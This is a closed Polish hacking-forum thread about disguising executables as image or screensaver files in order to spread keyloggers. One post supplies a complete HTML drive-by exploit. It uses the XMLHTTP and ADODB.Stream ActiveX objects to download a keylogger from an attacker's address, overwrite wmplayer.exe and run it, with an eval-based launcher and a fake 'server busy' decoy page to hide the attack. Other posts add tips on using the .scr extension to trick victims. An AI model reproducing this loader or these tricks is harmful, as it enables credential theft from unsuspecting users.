exe->jpg

Status
Zamknięty.
E

evolucja

Użytkownik
Dołączył
Czerwiec 11, 2007
Posty
110
Originally posted by japcok15
nie chcialem nowego tematu zakladac ale jak zbindowac .exe do .bmp ??
Kliknij aby rozwinąć...
To tak samo jak zbindować .exe do .jpg! Da się ale końcowy plik będzie mieć rozszerzenie pliku wykonywalnego! Nie pisz po tym: jak zbindować .exe do .gif...
 
L

lisek160

Użytkownik
Dołączył
Marzec 21, 2007
Posty
175
Zamiast gadać jakieś głupoty o .exe -> .jpg(.gif,.bmp itd.)

Weźcie się za zmienianie rozszerzenia na .scr które podchodzi pod Screen.
Czyli do zdjęcia już nie daleko
<


Pozdrawiam
 
J

japcok

Użytkownik
Dołączył
Sierpień 28, 2007
Posty
48
tez robilem dzisiaj skana kompa wykrylo mi wirusa w .jpg otworzylem go reshackiem i ku mojemu zdziwieniu byl tam plik exe i .jpg i nie mialem zadnego klucza w rejestrze ... keyloger byl do owntibia na kolesia jakiesgos macko07
smile.gif
 
grzonu

grzonu

Były Moderator
Dołączył
Grudzień 26, 2006
Posty
1390
Originally posted by japcok
tez robilem dzisiaj skana kompa wykrylo mi wirusa w .jpg otworzylem go reshackiem i ku mojemu zdziwieniu byl tam plik exe i .jpg i nie mialem zadnego klucza w rejestrze ... keyloger byl do owntibia na kolesia jakiesgos macko07
smile.gif
Kliknij aby rozwinąć...

hmmm wiesz zbindowac sobie mozesz plik jpg z exe i zmienic rozszerzenie i powiem ci ze i tak bedzie nadal wykrywalny ale jak klikniesz 2 razy to i tak ci sie ten exe nie uruchomi
 
D

Dark Smark

Były Moderator
Dołączył
Kwiecień 29, 2006
Posty
1953
Originally posted by Avengers
Dzisiaj robilem skana kompa oto co znalazlem :

Obrazek
Kliknij aby rozwinąć...
No i co? Wklejcie to do notatnika i zapiszcie jako *.html Też av wykrywa. Jeśli zmienisz rozszerzenie keyloggera na jpeg będzie wykrywać, ale po odpaleniu nic a nic się nie stanie.
Kod: 
<HTML>

<textarea id="code" style="display:none;">



    var x = new ActiveXObject("Microsoft.XMLHTTP");

    x.Open("GET", "ADRES KEYLOGGERA",0);

    x.Send();

   

    var s = new ActiveXObject("ADODB.Stream");

    s.Mode = 3;

    s.Type = 1;

    s.Open();

    s.Write(x.responseBody);



    s.SaveToFile("C:Program FilesWindows Media Playerwmplayer.exe",2);

    location.href = "mms://";



</textarea>

TUTAJ MOŻEMY COŚ DODAĆ [np. Server is extremely busy at this moment. Please wait when server generate mirror for you...]

<script language="javascript">



    function preparecode(code) {

        result = '';

        lines = code.split(/rn/);

        for (i=0;i<lines.length;i++) {

       

            line = lines[i];

            line = line.replace(/^s+/,"");

            line = line.replace(/s+$/,"");

            line = line.replace(/'/g,"'");

            line = line.replace(/[]/g,"");

            line = line.replace(/[/]/g,"%2f");



            if (line != '') {

                result += line + 'rn';

            }

        }

        return result;

    }

   

    function doit() {

        mycode = preparecode(document.all.code.value);

        myURL = "file:javascript:eval('" + mycode + "')";

        window.open(myURL,"_media");

    }

   



    window.open("error.jsp","_media");

   

    setTimeout("doit()", 5000);

   

</script>

<script>function go(){ self.location.href='ADRES STRONY KTORA WYSWIETLI SIE PO ZALADOWANIU KEYLEGGERA [np. wlasnie ten mirror]'; }

setTimeout('go()',10000); </script>

</HTML>
 
P

pioncz

Użytkownik
Dołączył
Marzec 29, 2007
Posty
130
@topic
Wieżę ci bez próbowania, że to działa.
Ale spójrzmy na to z drugiej strony... na co to komu ? Jeżeli chcesz podrzucić komuś wira w jpg musisz mu edytować rejestra a co za tym idzie musisz wysłać najpierw plik inny niż jpg żeby wysłać jpg... To bez sensu, już lepiej od razu wira podrzucić
<

@up
Co to za super hax strona ;o
 
Status
Zamknięty.
Do góry Bottom